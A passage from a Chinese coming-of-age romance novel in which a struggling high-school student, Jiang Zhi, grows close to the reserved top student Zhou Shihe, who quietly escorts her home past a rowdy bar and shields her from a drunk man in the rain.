陶馨仰头乐,嘻嘻哈哈地进教室。
陶馨嬉笑间,姜至没忍住回头往走廊尽头看了一眼,阳光一直蔓延到少年背上,他发丝被风吹动,仔细嗅,风里有淡淡的,最基础的那款薄荷洗发水的味道。
-
成绩公布后,班主任江跃很快便通知大家晚自习换座位,大家成绩都差不多,座位大多是按照需求排列,比如有人愿意坐前边,有人愿意坐后边,有人个头高,有人个头矮,还有些人近视。
座位全靠自己选。
不过谁先选谁后选还是按照成绩排名来。
江跃安排晚自习换座位,陶馨提前和前两排的陈秉函商量换个座位。
陈秉函比陶馨高点,但是她腿长上身短,所以坐下时并不会阻碍陶馨的视线,况且俩人中间还有一排别人。
陈秉函问为什么,陶馨挠头说:“我今年不知道怎么回事,近视又深了点,上次比划了下,坐你这排正好能看清。”
陈秉函视力没什么问题,对坐哪里也没什么特别的要求,就是她一走,同桌李想估计也要动。
陶馨对此心知肚明,连忙说:“我同桌姜至也要动,你俩可以一起走。”
李想这下答应得很干脆,“行。”
陶馨那边商量着,姜至这边听着却没忍住有了别的心思。
天甲一班人不多,别的天甲班有更多插班生借读生,大概是想着“顶峰寒冷”,有个差不多的选择就行了。
所以班里的位置排得很松,横竖各七排,左中右以二三二的模式组同桌。最后落单的是班里的大高个,也是英语课代表,胡啸,为人跟其五大三粗的外表反差很大,腼腆爱笑,人称胡笑笑。
陶馨和姜至本来在右二的第五排,也是倒数第二排,其实这个位置相较姜至的身
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高有点靠后了,但她本人成绩太差,也不好意思往前排去。
陈秉函在第三排,她的左手边中三,就是周识鹤的位置。
周识鹤从进班第一天就坐这个位置,这些年一次也没动过,他虽然个高,但坐得也不算太中间,体格不壮,不怎么挡人,久而久之,大家就默认这个位置是他的了。
当然也没人能比他更早地进班选位置了。
现在陶馨要换到第三排,姜至跟周识鹤之间便只差陶馨和一个走廊的距离了。
姜至莫名心脏乱跳。
她搞不懂自己为什么要因为这点小事心脏加速,难道是她心里已经默认周识鹤是她的家教老师了?
她害怕他吗?
好像是有点的。
也可能是因为他总板着脸,林淑又讲过那种话,让她心生心虚。
姜至胡思乱想间,陶馨回来了,她问姜至:“你坐第三排里面能看见黑板左边不?”
姜至很实诚:“没关系,我也看不懂。”
陶馨:“……你好幽默啊,姜姜宝儿。”
姜至眯眼笑笑。
晚自习一进班,班长就安排大家自主换位,全程不足二十分钟便换了一遍,姜至很震惊胡啸居然坐在了她后面。
陶馨更震惊,“笑笑,你怎么回事?”
胡啸笑笑说:“蒋天霖跟我说他想坐那里。”
蒋天霖之前确实坐在姜至前边,也就是第四排。
陶馨问:“为什么?”
她又问自己身后的代湘智,“你俩离婚了?”
代湘智正色:“一级警告,以后不能这么说了,我们俩就是纯洁的母子关系。”
陶馨:“?”
胡啸继续笑笑说:“天霖谈恋爱啦。”
陶馨:“?”
代湘智摊手耸肩,“隔壁班的,坐那儿方便他们下课约会。”
陶馨缓了好久,震惊道:“我滴个老天爷,这个节骨眼谈,那是真爱啊。”
姜至也很震惊,她倒是有听说初高中谈恋爱的,但因为她不管初中还是高中进的都是学校最优班,再加上她朋友少,自己班都玩不完,其他班更不怎么相处,所以认识的人里,这种情况发生得很少,就算有也很少有公开的,如今第一次听说身边存在,就像看电视一样。
“万一被发现怎么办?”姜至真的很关心这种事情造成的后果。
陶馨:“不知道啊,你试试。”
姜至:“……”
陶馨本来只是随口一说,下一秒发现姜至满脸通红,敏锐地眯眼质问:“什么意思,你脸红什么?你有——”
姜至一把捂住她的嘴。
陶馨这个人说话嘴边从来没有把门的,眼下自习时间,她声音也没有压得很低,周识鹤离她那么近,万一!
姜至下意识往周识鹤那边看了一眼,却不想周识鹤也往她这边看了一眼,不知是因为她的目光,还是因为听到了陶馨的话。
总之不管因为哪一种,都足以让姜至抬不起头。
她做贼心虚地迅速挪开目光,陶馨趁机拉开姜至的手,凑上去问:“我们班的?”
这次陶馨知道小声了,但是姜至已经不想活了。
9. 做梦呢
姜至单方面和陶馨绝交了三天,陶馨连哄了三天,最后使出“既然你真那么讨厌我,那我跟别人换个座位好了”的苦肉计杀手锏,姜至才原谅她。
这天数学老师讲寒假发的试卷,陶馨听到这个就抱怨:“这试卷难得我都想哭,姜至你根本不懂。”
“……”
姜至确实不懂,一点难和非常难在她看来都一样。
然而在姜至掏出试卷的下一秒,陶馨瞪大眼,姜至疑惑,陶馨不可思议地把姜至的试卷拿过来,翻来覆去地看好几遍,质问:“你有答案?”
姜至这才想起来自己这张是试卷是看周识鹤的。
她一下子有点心虚,悄悄瞟了周识鹤一眼,含糊其辞道:“啊,没有。”
陶馨:“那你怎么写的?胡写的啊?”
她说着仔细看其中一道题,可谓是步骤齐全,核心准确,这也不是瞎掰的啊?
姜至:“……嗯……啊,对。”
陶馨被震惊地根本没发现姜至在胡说八道,一整节课,老师在上面讲着,她在下面看着姜至的试卷,自己的试卷丢给姜至,根本不管姜至死活。
姜至拿着空白试卷,心惊胆战间,又忍不住有点得意,好几次她假装看陶馨,顺势往周识鹤那边看,看到他试卷上密密麻麻的熟悉的解题步骤,心里不受控制地咕噜咕噜冒泡。
后面几天,各科老师都开始陆续讲寒假试卷,陶馨一张张见识姜至的完成度,最后坚定无疑地总结:“姜至肯定请家教了。”
姜至一开始说没有,陶馨根本不信,尤其发现有几道题姜至不仅写出来,她把答案盖住问姜至姜至也能磕磕绊绊讲出来时,陶馨就更加笃定自己的推断,“你请的谁?咱们学校的老师吗?”
姜至眼看多说无益,干脆顺着说:“也不是。”
是谁已经不重要了,毕竟结果大家都已经看见。
陶馨捧脸羡慕,“真好啊,你妈对你真上心,你好好努力吧,别让她太失望了。”
姜至心想这她可做不了主,林淑是个心高的人,估计还盼着她考重点大学呢,她有那个本事不让林淑失望吗?
就算周识鹤一天二十四小时围着她转,她也够呛能达成林淑的梦想。
想到这,姜至微微一顿,后知后觉意识到自己想了什么,忍不住捂着脸,她自己才是在这做梦呢吧。
陶馨瞧见她这反应,凑上来问:“哭啦?才发现你妈用心良苦啊?”
姜至有气无力地一手捂脸,一手摆手让她别说了。
-
离周识鹤近了以后,姜至不仅会悄无声息地观察他的试卷,还会不由自主观察他其他的行为习惯。
比如他有轻点笔的习惯,这种类似的习惯很多人都有,姜至以前听不懂课的时候就会观察身边的同学,有人喜欢咬笔头,有人喜欢转笔,还有人喜欢咬指甲或者抠指甲,周识鹤是拿笔的另一头一下一下地点试卷一角,频率像心跳,又像呼吸。
周识鹤很节俭,笔始终都是同一款同一支,他会买很多笔芯替换装,透明的笔壳子在一天天的东升日落里,能看到他笔芯下降的过程和痕迹。
不知用掉了多少支替换装,青槐的冬日氛围逐渐被春日代替。
天一学校重视自然,绿植很是丰富,小花园种着各种月季,教学楼前的花坛里摆满了五颜六色的不知名小花。
学校主干道两侧间序有列的种着青柏与松针,学校标志性雕像牌后面,常年立着一颗青槐,据说这棵树比学校的发展史都长久,树干在时光和岁月的滋养下长得粗壮,分支如张开的手脚,蔓延成一片独属于它的天地。
春日枝繁叶茂,空气清新,大课间时期,学校里渐渐多了很多散步的学生。
今天温度高,很多人都把校服外套脱了,穿着单衫在校园里闲逛,姜至和陶馨在小湖边溜达,代湘智跟她们吐槽他们家房东忽然要收回房子,全家为这事忙得晕头转向。
陶馨安慰她,“你别操心了,房子肯定能找到,大不了先租个不合适的,凑合住着?”
代湘智父母常年在外务工,跟着爷爷奶奶长大,每年逢农收节,爷爷就一个人回家忙,平日里不忙老两口就在这边陪着她,给她做做饭什么的。
代湘智成绩好,又懂事,是他们村里唯一一个考上高中的学生,未来也是第一个考进大学的大学生。
背负了全村人的期待或微妙的看热闹心理,代湘智总是压力很大。
姜至看她心神不宁的,想到自己家里那间小房子,提议:“现在找到合适的了吗?如果真找不到的话,要不先去我家凑合一下?等暑假到了应该就好找了。”
代湘智叹气,“我爷爷奶奶找着呢,最后找不到估计就要先暂住你那儿了。”
姜至:“可以的,没问题。”
因为找房子的事,这几天代湘智放学都是第一个跑的,陶馨紧跟其后,姜至也不得不一起走。
早上代湘智也来得很早,有好几次来的时候班里只有一个人。
代湘智跟陶馨说的时候,陶馨还开玩笑似的问:“谁啊,那么卷?”
代湘智下巴朝周识鹤那边抬了抬说:“年级老大呗。”
不知是不是被代湘智这话影响了,姜至总是下意识观察周识鹤的上学放学时间。
她发现周识鹤每天都走得很早,如今春天已至,天渐渐亮得早了些,有时候天刚雾蒙蒙的,门外就响起了大铁门被推开的声音。
但他回来得总是很晚,有好几次姜至都准备洗洗睡了,周识鹤才从学校回来。
他在学校干嘛呢?
就为了自习吗?
姜至好奇了好几天,等代湘智搬家这天,代湘智没再早走。
“我爷爷奶奶不让我帮忙,让我在班里待到十点多再回去。”
“你一个人吗?”陶馨问。
代湘智说:“那怎么了,没事,学校里肯定还有其他卷王呢。”
陶馨想想也是,便打声招呼先走了。
“你不走啊?”代湘智问姜至。
代湘智新搬的家离学校不算近,不过跟姜至顺路两个路口,姜至便想着一会儿跟她一起好了。
“我猜着你今天不会早走,早上跟我妈说了,我陪陪你吧。”
代湘智撇嘴,钻进姜至的怀里,“你真好,姜姜宝儿。”
姜至顺势摸摸她的脑袋,摸小狗似的。
时间一分一秒过去,班里人陆续离开,渐渐的,整间教室只剩下姜至和代湘智,以及周识鹤三个人。
周识鹤中间出去了一趟,大概半个小时的时间才回来。
他回来之后看到班里还有人,有点意外,瞧见是姜至,似乎更意外了。
他往这边瞧的时候,姜至正巧仰脖子活动筋骨,一扭头和周识鹤对上目光,动作顿了下,慢慢回正,朝他笑了笑。
周识鹤回礼一般向她点点头,二人没有过多交流。
十点钟整,高三部放学铃敲响,校园里开始有了动静。
十点一刻,学校再次安静了些。
代湘智坐不住了,起身跟姜至说:“走吧。”
姜至“哦”一声,说好。
她收拾东西时瞥了周识鹤几眼,发现他仍然没有
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要走的迹象。
教室的门是开的,晚风吹进来,姜至脸上凉凉的,她几次欲言又止,最终还是什么都没说。
周识鹤写题写得太认真了,她实在不好意思打扰他。
走出学校大门时,姜至就有点后悔自己出来那么晚了,和代湘智分开以后,姜至更后悔了。
也不知道什么时候她回家的必经之路开了一个小酒馆,这个时间点,喝醉的人好多,有人蹲在门口抽烟,有人大声嬉笑,姜至路过时,还有人意有所指地说些含糊不清的话,什么学生漂亮,学生年轻一类的,吓得姜至跑得很快,到家脸都跑红了。
好在提前跟林淑打过招呼,林淑也不算太担心,只是看见姜至跑成这样,说了句:“又没催你,跑什么。”
姜至大口灌水,没说什么。
翌日姜至就不敢一个人回去了,哪怕是正常时间点放学,也是那个小酒馆正热闹时期。
陶馨和代湘智问姜至怎么不走时,姜至犹犹豫豫地说一会儿,陶馨和代湘智也没多问什么。
中途周识鹤还是出去了一趟,仍然是半个小时差不多。
今天天气不算特别好,白天有点阴天,晚上也凉凉的,教室里留下自习的人比往常走得早一些。
高三部放学的时候,姜至犹豫了下,想要趁着人/流多回去,可转念又一想,万一没什么人跟她顺路呢?
毕竟那个酒馆距离学校还是有些距离的。
几次犹豫,姜至就拖到了最后。
教室里只剩下她和周识鹤两个人了。
事已至此,姜至已经没有其他选择了。
她咬咬牙,等着跟周识鹤一起回去。
十点半差不多,周识鹤终于有了动静。
余光里,姜至瞥见周识鹤往她这边看了一眼,她心跳加速,莫名心虚,没有抬头。
最终周识鹤什么都没说,一个人先走了。
姜至怕自己“跟屁虫”行为太明显,故意等周识鹤走出教室,才手忙脚乱地收拾东西跟上去。
她不敢跟得太近,又怕太远跟丢了,便始终与周识鹤保持两三米的距离。
途径小酒馆的时候,姜至没忍住小碎步与周识鹤拉近了距离。
好在周识鹤始终没有发现她,也从未回过头。
虽然历经波折,可总归安全到了家。
姜至进门的时候还心有余悸地拍拍胸口,正准备抬手开灯,下一秒家里灯火通明,她吓一跳,抬眼看见是林淑从卧室门口摁了备用开关。
林淑脸色很差,“怎么回来那么晚?”
姜至不知该怎么解释小酒馆的事,毕竟糟糕的事情没有发生,她未免有点敏感谨慎了。
“我……”她磕磕绊绊的,“有点害怕。”
林淑一拧眉,“别找借口,我看是昨天让你回来晚你又抓住玩的缝隙了吧!”
姜至小声说:“我没有。”
林淑这会儿哪听得进去,只厉声交代她明天别再那么晚了。
姜至是对抗不了林淑的,只能在翌日放学铃一敲响就收拾东西往家跑。
至少现在学生还算多,路边也有小摊小贩,路人多一些,她就没那么害怕了。
“今天怎么遛那么快?”陶馨问。
姜至没时间解释,快速说:“走了走了,再见。”
前后没一会儿,陶馨和代湘智也准备往外走时,路过周识鹤空荡荡的位置,陶馨蓦地一怔。
“卷王今天不卷了?”
代湘智随口道:“给自己放假了吧。”
人家年级老大,谁管的着他的节奏啊。
10.梅雨季
姜至走得不怎么踏实,尤其越临近小酒馆,心里越慌,她甚至想调头换条路走。
哎?
姜至停下了脚步。
她怎么才想起来?
这边路四通八达的,她哪怕绕点路走也比这样胆战心惊的强啊。
这么一想,姜至心里瞬间舒服了不少,不过多多少少还是有点不踏实吧。
她从小到大都在舒适区待习惯了,她习惯用一个水杯喝水,习惯一个方向侧躺睡觉,习惯从小枕到大的枕头。
这条回家的路怎么说也走了快两年,忽然换成其他路经,怎么都有些不适应。
但也没有别的办法不是吗?
姜至在心里安慰自己,这没什么大不了的,可就在她偏头准备看看哪条路合适时,余光忽然瞥见一道熟悉的身影。
姜至整个人暂停在原地。
她没有回头,生怕那只是她的幻想。
然而她没动,对方却在一步步靠她更近。
就在对方离她仅有几步之远的时候,姜至忽然心生无限勇气与踏实,她没再考虑其他路经,而是就那么途径杂乱的小酒馆回家了。
姜至到家迅速关上门,她没开灯,十几秒后,大铁门再次响起,很快便是少年在院中不轻不重的步伐。
真的是周识鹤。
他……今天没有在学校自习吗?
姜至小心翼翼放下书包,好奇地趴到窗户一角,家里的玻璃窗贴得有一层膜,时间太久,已经有了破损,往外看,视野很模糊,少年身高体阔,夜色里,很是出挑,让人看了就有很浓的安全感。
姜至盯着看,直到周识鹤身影不再,她一路起伏跌宕的情绪才缓缓平静下来。
呼。
姜至轻轻吐了口气。
如今虽然已经春季,屋内外仍有温差,姜至这轻轻一吐,使得玻璃窗更加模糊。
她指尖在上面轻轻画了一朵简笔画的小蜡烛,画完抿唇笑了笑,在心里偷偷许了一个愿。
这晚姜至难得做了一个与学习无关紧要的梦。
她梦到学校里那棵大槐树,夏日里,枝繁叶茂,树下有一间很小很小的门,似乎是通往神秘的树干深处。
青天白日的,姜至不算特别害怕,她有些好奇,逐步走向那扇门。
这门好奇怪,不是木质的,也不是树叶制的,居然是报纸制成的,摸着涩涩的,凑近了,能闻到墨水的味道。
这里面总不会是考场或者全是试卷吧?
姜至好奇地推开门,入目是看上去很眼熟的台阶,台阶一层一层,一圈一圈,往上看,似乎没有尽头。
姜至站在第一层阶梯前,思考了很久,终究没有抬脚迈上去。
直到门外忽然有很刺眼的光照进来,姜至抬起手背挡在眼前,恍惚了片刻,一睁眼,从梦中醒来。
“怎么还没起,昨晚熬夜了?”林淑把姜至卧室门开了一半,客厅的光全照在床上。
姜至在一片光里迷迷糊糊地坐起来,揉了好一会儿眼睛才彻底清醒。
至于那梦,忘得一干二净。
出门时,姜至下意识看了一眼楼上。
这会儿已经是正常上学的点,院里很热闹,二楼有初中生往厕所里跑,还有家长催促小学生赶紧起床的声音,三楼一间门开着,里面只有大人忙碌的身影,另一间房门紧闭,屋里也没亮灯。
姜至收回目光,转身出门。
到班时,果不其然周识鹤已经在班里了,其他人脸上或多或少还有些惺忪,他脸上却只有清醒。
这人到底几点起几点睡啊。
姜至又疑惑又佩服地回到自己座位上,刚坐下就打了一个呵欠,她刚闭上嘴,陶馨就张开了自己的嘴,俩人对视一眼,双双笑开。
打呵欠这事会传染。
晚上放学铃敲响,姜至一瞬扭头看向周识鹤,只见周识鹤在座位上坐得四平八稳,半点没有要离开的意思。
姜至往日里总是悄摸摸地偷瞄,很少敢这样直勾勾盯着周识鹤,今天难得多盯了一会儿,最终确定周识鹤没有其他动作,才撇撇嘴,自顾自地起身收拾东西。
临走跟陶馨说再见都有气无力的。
路上姜至走得也很散漫,她始终低着头,三步踢一颗石子,两步踢一个瓶盖,差点闯红灯。
一个路口,姜至慢吞吞停下,脚边一个奶茶吸管,她无所事事地踢来踢去,一个动作没控制好,差点摔了,她忙不迭扶着旁边的电线杆,一抬头,周识鹤就站在不远处。
也不知道站了多久。
姜至愣住。
很快绿灯亮起,旁边等待的人群齐齐行动,姜至反应过来,下意识转过身往前走,没走几步反应过来自己刚刚好像跟周识鹤对视了,然后,她无视了周识鹤?
“……”
现在回头再打招呼会不会太蠢了点?
姜至满脑子都是怎么实施补救措施,根本没注意到今天的自己很轻松就路过了小酒馆,也在思考之间,她的脚步越来越慢,越来越慢。
在她没注意到的身后,周识鹤离她越来越近,越来越近。
直到停在家门口,姜至只是慢一步没有推开门,周识鹤停在了她身后。
姜至有所察觉,慢吞吞回头,她睁着圆圆的眼睛,对上周识鹤平静的神色。
“嗨,周识鹤。”姜至挺起胸膛打招呼。
周识鹤回应很淡,“嗯。”
好冷淡。
姜至胸口瘪了下去。
她鼓了鼓嘴,转回身推门。
姜至没有再跟周识鹤说什么,周识鹤自然也不会主动理会她。
二人很快擦肩而过,一个回家,一个上楼。
姜至回屋就往床上一趴,林淑听到动静出来,看见她外套不脱就往上趴,“怎么回事?被霜打了?”
姜至本来不想说话,但又怕林淑揪着说她不礼貌,便敷衍地应一声,“啊。”
林淑随手拍一下她的屁股,“啊什么啊,快去换衣服,脏死了。”
姜至这才起身,“哦。”
之后的几天,每一天晚上姜至都会遇到周识鹤,只不过周识鹤从来没有主动要跟她同路的意思,他跟她永远差那么几步,明明他个高腿长的,应该很快就能超过她的。
他是有意为之吗?
为了什么呢?
姜至好几次都忍不住自作多情,她甚至想
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直接去问问周识鹤,但每次犹豫,都被他那冷冰冰的面孔和表情堵住嘴。
直到这天,青槐下了梅雨季节的第一场雨。
青槐夏季总是多余,眼下逢清明,雨更是连绵不断。
晚上起了点风,回去的路上冻得脸都是疼的,姜至怕冷,只能把伞打低一点,再打低一点。
直到不知不觉挡住了前方的大片视野,姜至毫无察觉地撞上一个人。
撞上去的一刹那,姜至便闻到了很浓的酒味,风雨里都稀释不了。
伞柄顶到了姜至的胸口,她身子薄骨架小,撞一下疼得脸都变了型。
“哎,对不起对不起。”被撞的醉鬼跟姜至道歉。
姜至不敢离他近,连连往后退。
她慢慢把伞抬高一点,看见这人有点面熟,似乎是这酒馆的常客,之前她还见他一边抽烟一边拍一个女生的屁股,那女生应该不是他女朋友,对着他破口大骂,他嬉皮笑脸的,一点也不当回事。
“没事。”姜至不想跟他过多纠缠,只想赶紧离开。
却不想她刚要侧身,那人拽住了她的胳膊,姜至瞬间如炸毛的猫,闭着眼睛尖叫出声。
在林淑的看管下,姜至从小到大做过最出格的事就是放学路上“行为不雅”地踢踢小石子或者塑料瓶子,她从未遇到过这种事情,像电视剧里演的“□□”一样。
她几乎什么都听不见了,整个人都不敢动弹,僵在原地。
是一股很突然很强大的力量把她拽了过去。
姜至手里的伞丢掉,整个人转了半个圈,一头扎进一片又硬又软的地方。
她愣愣地睁眼,发现这是一个人的胸口。
这人穿着校服,跟她身上的校服颜色一样。
她眨了眨眼睛,目光往下,看见一双很眼熟的鞋子。
“不是,我又没干什么?她鞋带开了,我提醒她系个鞋带,你瞪我干什么?”那醉鬼摇摇晃晃的,似乎要发火。
姜至这会儿才找回意识,她忙不迭从人怀里出来,磕磕绊绊地跟醉鬼说:“哦哦,知、知道了,谢谢你。”
她说完也没管鞋带,捡起地上的伞,拉起旁边人的手就跑。
“姜至。”周识鹤制止的声音在她耳边响起,很快又被风雨带走,她感觉自己心脏跳得很快,眼前视野被风雨蒙得模糊。
明明很冷,她的手却滚烫。
不知过去多久,周识鹤又一声克制的,“姜至。”
姜至回过神,脚步慢下来,呼吸一喘一喘。
雨还在下,风却不知何时停了,姜至脸上全是水,眼睫毛上也梦了一层水雾,她眼前的周识鹤也没好到哪里去。
看着却比平日里显得亲近很多。
他又出声,说:“好了。”
似乎是在提醒她,刚刚那些已经过去了,她不用再害怕了。
姜至轻轻眨了眨眼睛,视线没能完全清晰,她抬起手背在眼睛上胡乱抹了下,再看向周识鹤时,周识鹤已经撑起了伞,伞檐更靠近她的头顶。
他们的二人世界,雨停了。
姜至清楚地看着站在她面前的周识鹤,说出那句犹豫很久的,“嗯,谢谢你,周识鹤。”
11.等雨停
耳边下着雨,两个人都没有话,姜至好几次试图找些话题聊,可一抬头便看见周识鹤目不斜视地看着前方,半点没有想要跟她说话的意思,姜至只好叹了口气,又把干巴巴的话题憋回肚子里去。
今天是周识鹤推的大门,姜至跟在他身后,待二人一前一后进院子,周识鹤关上门,他转身就往楼梯口去,没有要跟姜至打招呼再见的意思,姜至心里有点难过,又忍不住偷偷为他找借口。
也许他性格就是如此,并不在意这些寒暄客套的话术。
“周识鹤。”在周识鹤走出两三步之远时,姜至鼓起勇气叫住他。
周识鹤侧身回头,雨线轻薄如雾,本遮挡不了什么,但此刻夜色已深,院里只亮一盏小黄灯,光线将雨线照亮,在周识鹤面庞和眸中映出暖色。
这使得少年看上去并没有那么冷漠。
也让姜至顺利开了口,“你早上一般几点起?”
周识鹤顿了下,说,“很早。”
姜至追问:“几点?”
周识鹤:“四点。”
姜至震惊了。
姜至震惊得忘记说话,周识鹤也没话问她,便转身走了,等周识鹤身影消失在楼梯拐角,姜至才仍有震惊地说句:“哦。”
四点……
四点?
姜至临睡前还在思考这个时间,她看一眼桌子上的卡通小闹钟,钟盘里的走针和数字都是夜光的,她清清楚楚地看见此时此刻是十一点半。
不知道周识鹤现在睡没睡,即便他一放学到家就睡觉,距离四点也不足六个小时,更何况他年级第一怎么可能睡那么早?
他不会根本不睡吧?
姜至大为震惊,且非常不理解。
林淑管控她学习管控得如此严格,还会把吃好睡好挂在嘴边,哪天她如果四点起床林淑肯定要带她去医院看看脑子。
然而纵使心里如此震惊且不解,第二天姜至的闹钟还是在四点如期响了。
姜至人生头一次那么早被惊醒,整个人都蒙了,坐在床上缓了好一会儿,最后还是往后一倒,被子一扯,翻身继续睡了。
这一睡直接睡过了头,林淑叫姜至起来,饭都没时间吃,拿一个面包就跑了。
林淑看着她的背影连连说不像话。
姜先舟说:“熬夜了吧。”
林淑:“她那成绩熬夜有什么用?跟她说多少遍早睡早睡,晚上多做两道错题,不如攒点精神上课多听五分钟。”
姜先舟:“你别这么说,多伤人家自尊心。”
林淑冷笑,“你闺女但凡有半点自尊心我都谢天谢地。”
姜至其实是个有自尊心的人,只不过她平时为人规矩,闯不出什么天大的祸,学生时代,唯一足以让人崩溃的便是考试考倒数,但架不住姜至次次倒数,时间长了,她也习惯了,自尊心什么的,使不到这地来。
不过迟到什么的,她倒是很少犯。
今天也算是高中以来第一次迟到,到班门口时,江跃已经在班里了,班里大家大声背书背单词,姜至不好意思大声嚷嚷,就那么低着头在门口站着,时不时那脚尖搓两下地。
最后还是项雯帮忙喊的江跃,江跃看过来,又看了眼后墙挂的钟,最终还是抬抬头让姜至进来了。
姜至一路低着头红着脸,路过周识鹤时更是不敢看他一眼,坐回位置好半天都没好意思抬头。
陶馨拿起书挡在脸前,假装背书地问:“你不会熬夜补课了吧小姜至?”
姜至无语:“我那么努力干什么?”
陶馨:“为了考第四十五名?”
姜至:“……”
心好累。
迟到这个事给姜至造成了很大的精神撞击,以至于她一整天都精神抖擞,全然没有困意。
晚自习忽然下了一场阵雨,姜至没带伞,有点忧心地看向窗外,结果一直到放学铃敲响,雨也没停。
陶馨走之前要把伞留给姜至,姜至拒绝了,“我再等一会儿,阵雨下不久的,你先走吧。”
陶馨不放心的一步三回头,姜至摆摆手让她赶紧走。
班里人走得差不多时,外面来了一个陌生人,他站门口喊周识鹤,姜至比周识鹤抬头抬得还快。
这人手里拿了一张试卷,看不出是什么科目,他朝周识鹤甩了甩手里的试卷,周识鹤很有默契地走出去,两个人没再去其他地方,就在走廊待着。
周识鹤好像在给他讲题,之后俩人又不知道说了些什么,周识鹤没说话。
那人临走前说了句:“你考虑考虑。”
周识鹤听没听进去不知道,姜至听进去了,甚至开始思考,考虑什么?
以至于周识鹤进来的时候,她没反应过来,目光还直勾勾地看着外面。
二人对视,姜至才回神,本想像从前一样着急忙慌收回目光,蓦地想起昨天,动作停顿了下,试探性地朝周识鹤笑了笑。
周识鹤这次朝她点了点头。
姜至心里一喜,待周识鹤回到座位,立马“蹬鼻子上脸”地问:“你今天又要晚走吗?”
“等雨停。”周识鹤说。
“你也没带伞吗?”姜至问。
周识鹤短暂沉默了下,说:“下雨不方便。”
是有这种人,觉得下雨下雪哪怕有伞,出行也很难受。
姜至理解地点点头,说:“我忘记带伞了,也不知道雨要下到什么时候。”
周识鹤说:“已经停了。”
姜至:“嗯?”
周识鹤:“嗯。”
姜至蓦地站起身,“真的啊?那我得走了,我妈见不得我回去太晚。”
周识鹤“嗯”一声,一同起身。
姜至注意到,犹豫了下,问:“你也走吗?”
周识鹤声音仍旧很淡,“嗯。”
“哦,那咱们可以一起。”姜至说这话的时候嘴角不受控制地往上扬了扬。
这次周识鹤还是一声淡淡的,“嗯。”
回去的路上,姜至没发现自己脚步一颠一颠的,她双手背后,偶尔跟周识鹤说话的时候,微微侧身,仰头看他。
她眼睛亮亮的,唇角弯着,时不时笑一声,也不知道在笑什么。
途径一个路口,地上有一个小瓶子,姜至没忍住小蹦一步,一脚踢上去。
结果没成想这次动作太大,再加上前面有一个闯红灯的大叔,她这一脚直接把瓶子踹人家脚后跟上去了。
场面一度僵住。
大叔回头时,姜至压根没想起来躲,瞪着眼睛呆呆地站在原地,满脸写着:是的没错,我干的。
“额……”姜至没想过逃避,正准备开口认错时,眼前一道身影挡过来。
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周识鹤站在她面前,他个高肩阔,轻而易举便她挡得干干净净。
“不好意思。”周识鹤跟大叔道歉。
大叔明显也看出主谋是谁了,只不过小事一桩,他懒得计较,没说什么。
而姜至没听见大叔说“没事”,以为他有些介怀,生怕他把气撒周识鹤头上,想也没想就从周识鹤身侧探脑袋出去,还把手举了起来,“对不起,是我……”
话没说完,只见大叔摆摆手,走了。
姜至声音止住,周识鹤回头,垂眸看她,姜至还保持着举手的动作,朝周识鹤咧嘴一笑,“我以为他要骂你呢。”
周识鹤扫了一眼她定格的动作,唇边飞快地闪过一抹笑。
“不至于。”他说。
此时绿灯亮起,周识鹤先一步迈出脚步,姜至紧跟其后。
这个点,姜至其实已经有点困了,她好奇地看了一眼周识鹤,周识鹤察觉,看向她。
他只字未言,姜至却感受到了被鼓励。
姜至犹豫了下,问:“你每天都是四点起吗?”
周识鹤沉默了下,还是选择说实话:“之前晚点。”
姜至:“为什么?”
“之前回来得晚。”周识鹤说。
姜至一顿。
周识鹤想了想,还是补了句:“现在天亮得早点。”
只是因为这个吗?
姜至觉得周识鹤在安慰她,也许是怕她多想。
这会儿姜至完全没有办法因为周识鹤送她回家这件事而心生欢悦了,她情绪明显低落了些,小声“哦”了一句,算作回应。
他们俩之间本来就全靠姜至找话题,姜至没了话,周识鹤便更加沉默安静。
二人一路无声回家,姜至先回屋,在房间里坐了一会儿,又轻手轻脚地出门,她站在院子里往三楼看。
这会儿距离周识鹤进家刚十几分钟,他家就已经没有半点光了,他隔壁的初中生家里还亮着灯呢。
姜至忽然有点心急,她生怕耽误了周识鹤什么,收回目光时,姜至瞥见三楼最里间的小黑屋,盯了两三秒,抬脚进屋了。
当晚姜至又梦见了那棵大槐树,树下的那扇报纸门是开着的,里面有一个小瓶子,不知是谁踢进去的。
不同于上次的,是天气。
今天天气不好,下着小雨,雾蒙蒙的。
姜至手挡在头顶,小跑着往门里进。
门内还是那些熟悉的台阶,往上看不清什么。
姜至犹豫了下,踩着台阶往上走。
不知上了第几层,一道暖光照进来。
那光有些奇怪,热热的。
姜至看过去,发现是一台小太阳烤扇。
周识鹤坐在一旁,他似乎在做题,闻声抬头看向她,很淡然的一句:“你来了。”
就好像,他已经等待她很久了。
忽然耳边传来林淑的声音,先是很轻的呼唤,很快便开始急促起来。
林淑一急促,姜至也开始心慌。
她一会儿看看楼下,一会儿又看看周识鹤,周识鹤侧脸被小太阳照得发光,另一半脸却在黑暗里,看着似乎结了霜。
同一块空间区域里,温差怎么会那么大?
姜至没有时间追问其原因,只跟他说:“我还会再来的,周识鹤,你要等我,我还会再来的。”
12.攀关系
三月底,学校开启第一次月考。
陶馨对学校此种行为十分看不上,“一放假就考试,生怕我们假期过舒服了。”
姜至对放不放假没什么期待或失望的,对她来说,在家或者在学校没什么太大的区别,要真细究,也就在家能找件舒服的衣服吧。
月考两天半,考完直接放假。
学校按照排名划分考场,周识鹤常年在他们自己班第一个位置,姜至则灰溜溜跑去二楼。
每层楼四个班级,一个班三十个考生,姜至的成绩在天一高中年级里能排到倒数一百二十名里,已经是她非常努力的结果了。
这次更喜人,她去了二楼。
两年来,这是姜至第一次考试在二楼,平时面熟的人统统不见,待进班坐下,才看见前排有一个熟人。
是以前初中班里的同学。
“姜至?”李越勤主动打招呼。
姜至认出他,朝他笑笑,“嗨。”
李越勤很意外,“你在天一吗?哪个班的,我怎么没见过你,你也学理了啊。”
姜至有点不好意思说自己哪个班的,含糊地“嗯”了一声,选择性回答说:“对。”
李越勤心想对什么对,他问的也不是是否题啊,正准备再问一遍时,监考老师进门了,李越勤只好坐正。
考完监考老师让最后一排把试卷给前一排,依次给到第一排,再由第一排送上讲台,姜至把试卷递给李越勤的时候,李越勤看了一眼姜至的班级,面色难掩震惊地看向姜至。
姜至避了下他的目光,却不想李越勤把试卷交给老师的下一秒就过来问姜至:“你是天甲班的啊?”
这一道声音没压住,连老师都往这边看了一眼。
天甲班的学生在这种考场,可不是什么值得宣扬的事。
姜至低下头,避开大家投来的目光,声音很低地应了一声,起身走了。
下午还有一场,姜至刻意来得很晚,几乎伴随着铃声敲响才坐下。
